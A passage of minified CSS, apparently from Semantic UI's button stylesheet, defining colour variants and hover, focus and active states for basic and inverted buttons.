inset!important;color:#2ecc40}.ui.inverted.green.button.active,.ui.inverted.green.button:active,.ui.inverted.green.button:focus,.ui.inverted.green.button:hover,.ui.inverted.green.buttons .button.active,.ui.inverted.green.buttons .button:active,.ui.inverted.green.buttons .button:focus,.ui.inverted.green.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.green.button:hover,.ui.inverted.green.buttons .button:hover{background-color:#22be34}.ui.inverted.green.button:focus,.ui.inverted.green.buttons .button:focus{background-color:#19b82b}.ui.inverted.green.active.button,.ui.inverted.green.buttons .active.button{background-color:#1fc231}.ui.inverted.green.button:active,.ui.inverted.green.buttons .button:active{background-color:#25a233}.ui.inverted.green.basic.button,.ui.inverted.green.basic.buttons .button,.ui.inverted.green.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.green.basic.button:hover,.ui.inverted.green.basic.buttons .button:hover,.ui.inverted.green.buttons .basic.button:hover{box-shadow:0 0 0 2px #22be34 inset!important;color:#2ecc40!important}.ui.inverted.green.basic.button:focus,.ui.inverted.green.basic.buttons .button:focus{box-shadow:0 0 0 2px #19b82b inset!important;color:#2ecc40!important}.ui.inverted.green.basic.active.button,.ui.inverted.green.basic.buttons .active.button,.ui.inverted.green.buttons .basic.active.button{box-shadow:0 0 0 2px #1fc231 inset!important;color:#2ecc40!important}.ui.inverted.green.basic.button:active,.ui.inverted.green.basic.buttons .button:active,.ui.inverted.green.buttons .basic.button:active{box-shadow:0 0 0 2px #25a233 inset!important;color:#2ecc40!important}.ui.orange.button,.ui.orange.buttons .button{background-color:#f2711c;color:#fff;text-shadow:none;background-image:none}.ui.orange.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.orange.button:hover,.ui.orange.buttons .button:hover{background-color:#f26202;color:#fff;text-shadow:none}.ui.orange.button:focus,.ui.orange.buttons .button:focus{background-color:#e55b00;color:#fff;text-shadow:none}.ui.orange.button:active,.ui.orange.buttons .button:active{background-color:#cf590c;color:#fff;text-shadow:none}.ui.orange.active.button,.ui.orange.button .active.button:active,.ui.orange.buttons .active.button,.ui.orange.buttons .active.button:active{background-color:#f56100;color:#fff;text-shadow:none}.ui.basic.orange.button,.ui.basic.orange.buttons .button{box-shadow:0 0 0 1px #f2711c inset!important;color:#f2711c!important}.ui.basic.orange.button:hover,.ui.basic.orange.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #f26202 inset!important;color:#f26202!important}.ui.basic.orange.button:focus,.ui.basic.orange.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #e55b00 inset!important;color:#f26202!important}.ui.basic.orange.active.button,.ui.basic.orange.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #f56100 inset!important;color:#cf590c!important}.ui.basic.orange.button:active,.ui.basic.orange.buttons .button:active{box-shadow:0 0 0 1px #cf590c inset!important;color:#cf590c!important}.ui.buttons:not(.vertical)>.basic.orange.button:not(:first-child){margin-left:-1px}.ui.inverted.orange.button,.ui.inverted.orange.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #ff851b inset!important;color:#ff851b}.ui.inverted.orange.button.active,.ui.inverted.orange.button:active,.ui.inverted.orange.button:focus,.ui.inverted.orange.button:hover,.ui.inverted.orange.buttons .button.active,.ui.inverted.orange.buttons .button:active,.ui.inverted.orange.buttons .button:focus,.ui.inverted.orange.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.orange.button:hover,.ui.inverted.orange.buttons .button:hover{background-color:#ff7701}.ui.inverted.orange.button:focus,.ui.inverted.orange.buttons .button:focus{background-color:#f17000}.ui.inverted.orange.active.button,.ui.inverted.orange.buttons .active.button{background-color:#ff7701}.ui.inverted.orange.button:active,.ui.inverted.orange.buttons .button:active{background-color:#e76b00}.ui.inverted.orange.basic.button,.ui.inverted.orange.basic.buttons .button,.ui.inverted.orange.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.orange.basic.button:hover,.ui.inverted.orange.basic.buttons .button:hover,.ui.inverted.orange.buttons .basic.button:hover{box-shadow:0 0 0 2px #ff7701 inset!important;color:#ff851b!important}.ui.inverted.orange.basic.button:focus,.ui.inverted.orange.basic.buttons .button:focus{box-shadow:0 0 0 2px #f17000 inset!important;color:#ff851b!important}.ui.inverted.orange.basic.active.button,.ui.inverted.orange.basic.buttons .active.button,.ui.inverted.orange.buttons .basic.active.button{box-shadow:0 0 0 2px #ff7701 inset!important;color:#ff851b!important}.ui.inverted.orange.basic.button:active,.ui.inverted.orange.basic.buttons .button:active,.ui.inverted.orange.buttons .basic.button:active{box-shadow:0 0 0 2px #e76b00 inset!important;color:#ff851b!important}.ui.pink.button,.ui.pink.buttons .button{background-color:#e03997;color:#fff;text-shadow:none;background-image:none}.ui.pink.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.pink.button:hover,.ui.pink.buttons .button:hover{background-color:#e61a8d;color:#fff;text-shadow:none}.ui.pink.button:focus,.ui.pink.buttons .button:focus{background-color:#e10f85;color:#fff;text-shadow:none}.ui.pink.button:active,.ui.pink.buttons .button:active{background-color:#c71f7e;color:#fff;text-shadow:none}.ui.pink.active.button,.ui.pink.button .active.button:active,.ui.pink.buttons .active.button,.ui.pink.buttons .active.button:active{background-color:#ea158d;color:#fff;text-shadow:none}.ui.basic.pink.button,.ui.basic.pink.buttons .button{box-shadow:0 0 0 1px #e03997 inset!important;color:#e03997!important}.ui.basic.pink.button:hover,.ui.basic.pink.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #e61a8d inset!important;color:#e61a8d!important}.ui.basic.pink.button:focus,.ui.basic.pink.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #e10f85 inset!important;color:#e61a8d!important}.ui.basic.pink.active.button,.ui.basic.pink.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #ea158d inset!important;color:#c71f7e!important}.ui.basic.pink.button:active,.ui.basic.pink.buttons .button:active{box-shadow:0 0 0 1px #c71f7e inset!important;color:#c71f7e!important}.ui.buttons:not(.vertical)>.basic.pink.button:not(:first-child){margin-left:-1px}.ui.inverted.pink.button,.ui.inverted.pink.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #ff8edf inset!important;color:#ff8edf}.ui.inverted.pink.button.active,.ui.inverted.pink.button:active,.ui.inverted.pink.button:focus,.ui.inverted.pink.button:hover,.ui.inverted.pink.buttons .button.active,.ui.inverted.pink.buttons .button:active,.ui.inverted.pink.buttons .button:focus,.ui.inverted.pink.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.pink.button:hover,.ui.inverted.pink.buttons .button:hover{background-color:#ff74d8}.ui.inverted.pink.button:focus,.ui.inverted.pink.buttons .button:focus{background-color:#ff65d3}.ui.inverted.pink.active.button,.ui.inverted.pink.buttons .active.button{background-color:#ff74d8}.ui.inverted.pink.button:active,.ui.inverted.pink.buttons .button:active{background-color:#ff5bd1}.ui.inverted.pink.basic.button,.ui.inverted.pink.basic.buttons .button,.ui.inverted.pink.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.pink.basic.button:hover,.ui.inverted.pink.basic.buttons .button:hover,.ui.inverted.pink.buttons .basic.button:hover{box-shadow:0 0 0 2px #ff74d8 inset!important;color:#ff8edf!important}.ui.inverted.pink.basic.button:focus,.ui.inverted.pink.basic.buttons .button:focus{box-shadow:0 0 0 2px #ff65d3 inset!important;color:#ff8edf!important}.ui.inverted.pink.basic.active.button,.ui.inverted.pink.basic.buttons .active.button,.ui.inverted.pink.buttons .basic.active.button{box-shadow:0 0 0 2px #ff74d8 inset!important;color:#ff8edf!important}.ui.inverted.pink.basic.button:active,.ui.inverted.pink.basic.buttons .button:active,.ui.inverted.pink.buttons .basic.button:active{box-shadow:0 0 0 2px #ff5bd1 inset!important;color:#ff8edf!important}.ui.violet.button,.ui.violet.buttons .button{background-color:#6435c9;color:#fff;text-shadow:none;background-image:none}.ui.violet.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.violet.button:hover,.ui.violet.buttons .button:hover{background-color:#5829bb;color:#fff;text-shadow:none}.ui.violet.button:focus,.ui.violet.buttons .button:focus{background-color:#4f20b5;color:#fff;text-shadow:none}.ui.violet.button:active,.ui.violet.buttons .button:active{background-color:#502aa1;color:#fff;text-shadow:none}.ui.violet.active.button,.ui.violet.button .active.button:active,.ui.violet.buttons .active.button,.ui.violet.buttons .active.button:active{background-color:#5626bf;color:#fff;text-shadow:none}.ui.basic.violet.button,.ui.basic.violet.buttons .button{box-shadow:0 0 0 1px #6435c9 inset!important;color:#6435c9!important}.ui.basic.violet.button:hover,.ui.basic.violet.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #5829bb inset!important;color:#5829bb!important}.ui.basic.violet.button:focus,.ui.basic.violet.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #4f20b5 inset!important;color:#5829bb!important}.ui.basic.violet.active.button,.ui.basic.violet.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #5626bf inset!important;color:#502aa1!important}.ui.basic.violet.button:active,.ui.basic.violet.buttons .button:active{box-shadow:0 0 0 1px #502aa1 inset!important;color:#502aa1!important}.ui.buttons:not(.vertical)>.basic.violet.button:not(:first-child){margin-left:-1px}.ui.inverted.violet.button,.ui.inverted.violet.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #a291fb inset!important;color:#a291fb}.ui.inverted.violet.button.active,.ui.inverted.violet.button:active,.ui.inverted.violet.button:focus,.ui.inverted.violet.button:hover,.ui.inverted.violet.buttons .button.active,.ui.inverted.violet.buttons .button:active,.ui.inverted.violet.buttons .button:focus,.ui.inverted.violet.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.violet.button:hover,.ui.inverted.violet.buttons .button:hover{background-color:#8a73ff}.ui.inverted.violet.button:focus,.ui.inverted.violet.buttons .button:focus{background-color:#7d64ff}.ui.inverted.violet.active.button,.ui.inverted.violet.buttons .active.button{background-color:#8a73ff}.ui.inverted.violet.button:active,.ui.inverted.violet.buttons .button:active{background-color:#7860f9}.ui.inverted.violet.basic.button,.ui.inverted.violet.basic.buttons .button,.ui.inverted.violet.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.violet.basic.button:hover,.ui.inverted.violet.basic.buttons .button:hover,.ui.inverted.violet.buttons .basic.button:hover{box-shadow:0 0 0 2px #8a73ff inset!important;color:#a291fb!important}.ui.inverted.violet.basic.button:focus,.ui.inverted.violet.basic.buttons .button:focus{box-shadow:0 0 0 2px #7d64ff inset!important;color:#a291fb!important}.ui.inverted.violet.basic.active.button,.ui.inverted.violet.basic.buttons .active.button,.ui.inverted.violet.buttons .basic.active.button{box-shadow:0 0 0 2px #8a73ff inset!important;color:#a291fb!important}.ui.inverted.violet.basic.button:active,.ui.inverted.violet.basic.buttons .button:active,.ui.inverted.violet.buttons .basic.button:active{box-shadow:0 0 0 2px #7860f9 inset!important;color:#a291fb!important}.ui.purple.button,.ui.purple.buttons .button{background-color:#a333c8;color:#fff;text-shadow:none;background-image:none}.ui.purple.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.purple.button:hover,.ui.purple.buttons .button:hover{background-color:#9627ba;color:#fff;text-shadow:none}.ui.purple.button:focus,.ui.purple.buttons .button:focus{background-color:#8f1eb4;color:#fff;text-shadow:none}.ui.purple.button:active,.ui.purple.buttons .button:active{background-color:#82299f;color:#fff;text-shadow:none}.ui.purple.active.button,.ui.purple.button .active.button:active,.ui.purple.buttons .active.button,.ui.purple.buttons .active.button:active{background-color:#9724be;color:#fff;text-shadow:none}.ui.basic.purple.button,.ui.basic.purple.buttons .button{box-shadow:0 0 0 1px #a333c8 inset!important;color:#a333c8!important}.ui.basic.purple.button:hover,.ui.basic.purple.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #9627ba inset!important;color:#9627ba!important}.ui.basic.purple.button:focus,.ui.basic.purple.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #8f1eb4 inset!important;color:#9627ba!important}.ui.basic.purple.active.button,.ui.basic.purple.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #9724be inset!important;color:#82299f!important}.ui.basic.purple.button:active,.ui.basic.purple.buttons .button:active{box-shadow:0 0 0 1px #82299f inset!important;color:#82299f!important}.ui.buttons:not(.vertical)>.basic.purple.button:not(:first-child){margin-left:-1px}.ui.inverted.purple.button,.ui.inverted.purple.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #dc73ff inset!important;color:#dc73ff}.ui.inverted.purple.button.active,.ui.inverted.purple.button:active,.ui.inverted.purple.button:focus,.ui.inverted.purple.button:hover,.ui.inverted.purple.buttons .button.active,.ui.inverted.purple.buttons .button:active,.ui.inverted.purple.buttons .button:focus,.ui.inverted.purple.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.purple.button:hover,.ui.inverted.purple.buttons .button:hover{background-color:#d65aff}.ui.inverted.purple.button:focus,.ui.inverted.purple.buttons .button:focus{background-color:#d24aff}.ui.inverted.purple.active.button,.ui.inverted.purple.buttons .active.button{background-color:#d65aff}.ui.inverted.purple.button:active,.ui.inverted.purple.buttons .button:active{background-color:#cf40ff}.ui.inverted.purple.basic.button,.ui.inverted.purple.basic.buttons .button,.ui.inverted.purple.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.purple.basic.button:hover,.ui.inverted.purple.basic.buttons .button:hover,.ui.inverted.purple.buttons .basic.button:hover{box-shadow:0 0 0 2px #d65aff inset!important;color:#dc73ff!important}.ui.inverted.purple.basic.button:focus,.ui.inverted.purple.basic.buttons .button:focus{box-shadow:0 0 0 2px #d24aff inset!important;color:#dc73ff!important}.ui.inverted.purple.basic.active.button,.ui.inverted.purple.basic.buttons .active.button,.ui.inverted.purple.buttons .basic.active.button{box-shadow:0 0 0 2px #d65aff inset!important;color:#dc73ff!important}.ui.inverted.purple.basic.button:active,.ui.inverted.purple.basic.buttons .button:active,.ui.inverted.purple.buttons .basic.button:active{box-shadow:0 0 0 2px #cf40ff inset!important;color:#dc73ff!important}.ui.red.button,.ui.red.buttons .button{background-color:#db2828;color:#fff;text-shadow:none;background-image:none}.ui.red.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.red.button:hover,.ui.red.buttons .button:hover{background-color:#d01919;color:#fff;text-shadow:none}.ui.red.button:focus,.ui.red.buttons .button:focus{background-color:#ca1010;color:#fff;text-shadow:none}.ui.red.button:active,.ui.red.buttons .button:active{background-color:#b21e1e;color:#fff;text-shadow:none}.ui.red.active.button,.ui.red.button .active.button:active,.ui.red.buttons .active.button,.ui.red.buttons .active.button:active{background-color:#d41515;color:#fff;text-shadow:none}.ui.basic.red.button,.ui.basic.red.buttons .button{box-shadow:0 0 0 1px #db2828 inset!important;color:#db2828!important}.ui.basic.red.button:hover,.ui.basic.red.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #d01919 inset!important;color:#d01919!important}.ui.basic.red.button:focus,.ui.basic.red.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #ca1010 inset!important;color:#d01919!important}.ui.basic.red.active.button,.ui.basic.red.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #d41515 inset!important;color:#b21e1e!important}.ui.basic.red.button:active,.ui.basic.red.buttons .button:active{box-shadow:0 0 0 1px #b21e1e inset!important;color:#b21e1e!important}.ui.buttons:not(.vertical)>.basic.red.button:not(:first-child){margin-left:-1px}.ui.inverted.red.button,.ui.inverted.red.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #ff695e inset!important;color:#ff695e}.ui.inverted.red.button.active,.ui.inverted.red.button:active,.ui.inverted.red.button:focus,.ui.inverted.red.button:hover,.ui.inverted.red.buttons .button.active,.ui.inverted.red.buttons .button:active,.ui.inverted.red.buttons .button:focus,.ui.inverted.red.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.red.button:hover,.ui.inverted.red.buttons .button:hover{background-color:#ff5144}.ui.inverted.red.button:focus,.ui.inverted.red.buttons .button:focus{background-color:#ff4335}.ui.inverted.red.active.button,.ui.inverted.red.buttons .active.button{background-color:#ff5144}.ui.inverted.red.button:active,.ui.inverted.red.buttons .button:active{background-color:#ff392b}.ui.inverted.red.basic.button,.ui.inverted.red.basic.buttons .button,.ui.inverted.red.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.red.basic.button:hover,.ui.inverted.red.basic.buttons .button:hover,.ui.inverted.red.buttons .basic.button:hover{box-shadow:0 0 0 2px #ff5144 inset!important;color:#ff695e!important}.ui.inverted.red.basic.button:focus,.ui.inverted.red.basic.buttons .button:focus{box-shadow:0 0 0 2px #ff4335 inset!important;color:#ff695e!important}.ui.inverted.red.basic.active.button,.ui.inverted.red.basic.buttons .active.button,.ui.inverted.red.buttons .basic.active.button{box-shadow:0 0 0 2px #ff5144 inset!important;color:#ff695e!important}.ui.inverted.red.basic.button:active,.ui.inverted.red.basic.buttons .button:active,.ui.inverted.red.buttons .basic.button:active{box-shadow:0 0 0 2px #ff392b inset!important;color:#ff695e!important}.ui.teal.button,.ui.teal.buttons .button{background-color:#00b5ad;color:#fff;text-shadow:none;background-image:none}.ui.teal.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.teal.button:hover,.ui.teal.buttons .button:hover{background-color:#009c95;color:#fff;text-shadow:none}.ui.teal.button:focus,.ui.teal.buttons .button:focus{background-color:#008c86;color:#fff;text-shadow:none}.ui.teal.button:active,.ui.teal.buttons .button:active{background-color:#00827c;color:#fff;text-shadow:none}.ui.teal.active.button,.ui.teal.button .active.button:active,.ui.teal.buttons .active.button,.ui.teal.buttons .active.button:active{background-color:#009c95;color:#fff;text-shadow:none}.ui.basic.teal.button,.ui.basic.teal.buttons .button{box-shadow:0 0 0 1px #00b5ad inset!important;color:#00b5ad!important}.ui.basic.teal.button:hover,.ui.basic.teal.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #009c95 inset!important;color:#009c95!important}.ui.basic.teal.button:focus,.ui.basic.teal.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #008c86 inset!important;color:#009c95!important}.ui.basic.teal.active.button,.ui.basic.teal.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #009c95 inset!important;color:#00827c!important}.ui.basic.teal.button:active,.ui.basic.teal.buttons .button:active{box-shadow:0 0 0 1px #00827c inset!important;color:#00827c!important}.ui.buttons:not(.vertical)>.basic.teal.button:not(:first-child){margin-left:-1px}.ui.inverted.teal.button,.ui.inverted.teal.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #6dffff inset!important;color:#6dffff}.ui.inverted.teal.button.active,.ui.inverted.teal.button:active,.ui.inverted.teal.button:focus,.ui.inverted.teal.button:hover,.ui.inverted.teal.buttons .button.active,.ui.inverted.teal.buttons .button:active,.ui.inverted.teal.buttons .button:focus,.ui.inverted.teal.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.teal.button:hover,.ui.inverted.teal.buttons .button:hover{background-color:#54ffff}.ui.inverted.teal.button:focus,.ui.inverted.teal.buttons .button:focus{background-color:#4ff}.ui.inverted.teal.active.button,.ui.inverted.teal.buttons .active.button{background-color:#54ffff}.ui.inverted.teal.button:active,.ui.inverted.teal.buttons .button:active{background-color:#3affff}.ui.inverted.teal.basic.button,.ui.inverted.teal.basic.buttons .button,.ui.inverted.teal.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.teal.basic.button:hover,.ui.inverted.teal.basic.buttons .button:hover,.ui.inverted.teal.buttons .basic.button:hover{box-shadow:0 0 0 2px #54ffff inset!important;color:#6dffff!important}.ui.inverted.teal.basic.button:focus,.ui.inverted.teal.basic.buttons .button:focus{box-shadow:0 0 0 2px #4ff inset!important;color:#6dffff!important}.ui.inverted.teal.basic.active.button,.ui.inverted.teal.basic.buttons .active.button,.ui.inverted.teal.buttons .basic.active.button{box-shadow:0 0 0 2px #54ffff inset!important;color:#6dffff!important}.ui.inverted.teal.basic.button:active,.ui.inverted.teal.basic.buttons .button:active,.ui.inverted.teal.buttons .basic.button:active{box-shadow:0 0 0 2px #3affff inset!important;color:#6dffff!important}.ui.olive.button,.ui.olive.buttons .button{background-color:#b5cc18;color:#fff;text-shadow:none;background-image:none}.ui.olive.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.olive.button:hover,.ui.olive.buttons .button:hover{background-color:#a7bd0d;color:#fff;text-shadow:none}.ui.olive.button:focus,.ui.olive.buttons .button:focus{background-color:#a0b605;color:#fff;text-shadow:none}.ui.olive.button:active,.ui.olive.buttons .button:active{background-color:#8d9e13;color:#fff;text-shadow:none}.ui.olive.active.button,.ui.olive.button .active.button:active,.ui.olive.buttons .active.button,.ui.olive.buttons .active.button:active{background-color:#aac109;color:#fff;text-shadow:none}.ui.basic.olive.button,.ui.basic.olive.buttons .button{box-shadow:0 0 0 1px #b5cc18 inset!important;color:#b5cc18!important}.ui.basic.olive.button:hover,.ui.basic.olive.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #a7bd0d inset!important;color:#a7bd0d!important}.ui.basic.olive.button:focus,.ui.basic.olive.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #a0b605 inset!important;color:#a7bd0d!important}.ui.basic.olive.active.button,.ui.basic.olive.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #aac109 inset!important;color:#8d9e13!important}.ui.basic.olive.button:active,.ui.basic.olive.buttons .button:active{box-shadow:0 0 0 1px #8d9e13 inset!important;color:#8d9e13!important}.ui.buttons:not(.vertical)>.basic.olive.button:not(:first-child){margin-left:-1px}.ui.inverted.olive.button,.ui.inverted.olive.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #d9e778 inset!important;color:#d9e778}.ui.inverted.olive.button.active,.ui.inverted.olive.button:active,.ui.inverted.olive.button:focus,.ui.inverted.olive.button:hover,.ui.inverted.olive.buttons .button.active,.ui.inverted.olive.buttons .button:active,.ui.inverted.olive.buttons .button:focus,.ui.inverted.olive.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.olive.button:hover,.ui.inverted.olive.buttons .button:hover{background-color:#d8ea5c}.ui.inverted.olive.button:focus,.ui.inverted.olive.buttons .button:focus{background-color:#daef47}.ui.inverted.olive.active.button,.ui.inverted.olive.buttons .active.button{background-color:#daed59}.ui.inverted.olive.button:active,.ui.inverted.olive.buttons .button:active{background-color:#cddf4d}.ui.inverted.olive.basic.button,.ui.inverted.olive.basic.buttons .button,.ui.inverted.olive.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.olive.basic.button:hover,.ui.inverted.olive.basic.buttons .button:hover,.ui.inverted.olive.buttons .basic.button:hover{box-shadow:0 0 0 2px #d8ea5c inset!important;color:#d9e778!important}.ui.inverted.olive.basic.button:focus,.ui.inverted.olive.basic.buttons .button:focus{box-shadow:0 0 0 2px #daef47 inset!important;color:#d9e778!important}.ui.inverted.olive.basic.active.button,.ui.inverted.olive.basic.buttons .active.button,.ui.inverted.olive.buttons .basic.active.button{box-shadow:0 0 0 2px #daed59 inset!important;color:#d9e778!important}.ui.inverted.olive.basic.button:active,.ui.inverted.olive.basic.buttons .button:active,.ui.inverted.olive.buttons .basic.button:active{box-shadow:0 0 0 2px #cddf4d inset!important;color:#d9e778!important}.ui.yellow.button,.ui.yellow.buttons .button{background-color:#fbbd08;color:#fff;text-shadow:none;background-image:none}.ui.yellow.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.yellow.button:hover,.ui.yellow.buttons .button:hover{background-color:#eaae00;color:#fff;text-shadow:none}.ui.yellow.button:focus,.ui.yellow.buttons .button:focus{background-color:#daa300;color:#fff;text-shadow:none}.ui.yellow.button:active,.ui.yellow.buttons .button:active{background-color:#cd9903;color:#fff;text-shadow:none}.ui.yellow.active.button,.ui.yellow.button .active.button:active,.ui.yellow.buttons .active.button,.ui.yellow.buttons .active.button:active{background-color:#eaae00;color:#fff;text-shadow:none}.ui.basic.yellow.button,.ui.basic.yellow.buttons .button{box-shadow:0 0 0 1px #fbbd08 inset!important;color:#fbbd08!important}.ui.basic.yellow.button:hover,.ui.basic.yellow.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #eaae00 inset!important;color:#eaae00!important}.ui.basic.yellow.button:focus,.ui.basic.yellow.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #daa300 inset!important;color:#eaae00!important}.ui.basic.yellow.active.button,.ui.basic.yellow.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #eaae00 inset!important;color:#cd9903!important}.ui.basic.yellow.button:active,.ui.basic.yellow.buttons .button:active{box-shadow:0 0 0 1px #cd9903 inset!important;color:#cd9903!important}.ui.buttons:not(.vertical)>.basic.yellow.button:not(:first-child){margin-left:-1px}.ui.inverted.yellow.button,.ui.inverted.yellow.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #ffe21f inset!important;color:#ffe21f}.ui.inverted.yellow.button.active,.ui.inverted.yellow.button:active,.ui.inverted.yellow.button:focus,.ui.inverted.yellow.button:hover,.ui.inverted.yellow.buttons .button.active,.ui.inverted.yellow.buttons .button:active,.ui.inverted.yellow.buttons .button:focus,.ui.inverted.yellow.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.yellow.button:hover,.ui.inverted.yellow.buttons .button:hover{background-color:#ffdf05}.ui.inverted.yellow.button:focus,.ui.inverted.yellow.buttons .button:focus{background-color:#f5d500}.ui.inverted.yellow.active.button,.ui.inverted.yellow.buttons .active.button{background-color:#ffdf05}.ui.inverted.yellow.button:active,.ui.inverted.yellow.buttons .button:active{background-color:#ebcd00}.ui.inverted.yellow.basic.button,.ui.inverted.yellow.basic.buttons .button,.ui.inverted.yellow.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.yellow.basic.button:hover,.ui.inverted.yellow.basic.buttons .button:hover,.ui.inverted.yellow.buttons .basic.button:hover{box-shadow:0 0 0 2px #ffdf05 inset!important;color:#ffe21f!important}.ui.inverted.yellow.basic.button:focus,.ui.inverted.yellow.basic.buttons .button:focus{box-shadow:0 0 0 2px #f5d500 inset!important;color:#ffe21f!important}.ui.inverted.yellow.basic.active.button,.ui.inverted.yellow.basic.buttons .active.button,.ui.inverted.yellow.buttons .basic.active.button{box-shadow:0 0 0 2px #ffdf05 inset!important;color:#ffe21f!important}.ui.inverted.yellow.basic.button:active,.ui.inverted.yellow.basic.buttons .button:active,.ui.inverted.yellow.buttons .basic.button:active{box-shadow:0 0 0 2px #ebcd00 inset!important;color:#ffe21f!important}.ui.primary.button,.ui.primary.buttons .button{background-color:#2185d0;color:#fff;text-shadow:none;background-image:none}.ui.primary.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.primary.button:hover,.ui.primary.buttons .button:hover{background-color:#1678c2;color:#fff;text-shadow:none}.ui.primary.button:focus,.ui.primary.buttons .button:focus{background-color:#0d71bb;color:#fff;text-shadow:none}.ui.primary.button:active,.ui.primary.buttons .button:active{background-color:#1a69a4;color:#fff;text-shadow:none}.ui.primary.active.button,.ui.primary.button .active.button:active,.ui.primary.buttons .active.button,.ui.primary.buttons .active.button:active{background-color:#1279c6;color:#fff;text-shadow:none}.ui.basic.primary.button,.ui.basic.primary.buttons .button{box-shadow:0 0 0 1px #2185d0 inset!important;color:#2185d0!important}.ui.basic.primary.button:hover,.ui.basic.primary.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #1678c2 inset!important;color:#1678c2!important}.ui.basic.primary.button:focus,.ui.basic.primary.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0d71bb inset!important;color:#1678c2!important}.ui.basic.primary.active.button,.ui.basic.primary.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #1279c6 inset!important;color:#1a69a4!important}.ui.basic.primary.button:active,.ui.basic.primary.buttons .button:active{box-shadow:0 0 0 1px #1a69a4 inset!important;color:#1a69a4!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.secondary.button,.ui.secondary.buttons .button{background-color:#1b1c1d;color:#fff;text-shadow:none;background-image:none}.ui.secondary.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.secondary.button:hover,.ui.secondary.buttons .button:hover{background-color:#27292a;color:#fff;text-shadow:none}.ui.secondary.button:focus,.ui.secondary.buttons .button:focus{background-color:#2e3032;color:#fff;text-shadow:none}.ui.secondary.button:active,.ui.secondary.buttons .button:active{background-color:#343637;color:#fff;text-shadow:none}.ui.secondary.active.button,.ui.secondary.button .active.button:active,.ui.secondary.buttons .active.button,.ui.secondary.buttons .active.button:active{background-color:#27292a;color:#fff;text-shadow:none}.ui.basic.secondary.button,.ui.basic.secondary.buttons .button{box-shadow:0 0 0 1px #1b1c1d inset!important;color:#1b1c1d!important}.ui.basic.secondary.button:hover,.ui.basic.secondary.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #27292a inset!important;color:#27292a!important}.ui.basic.secondary.button:focus,.ui.basic.secondary.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #2e3032 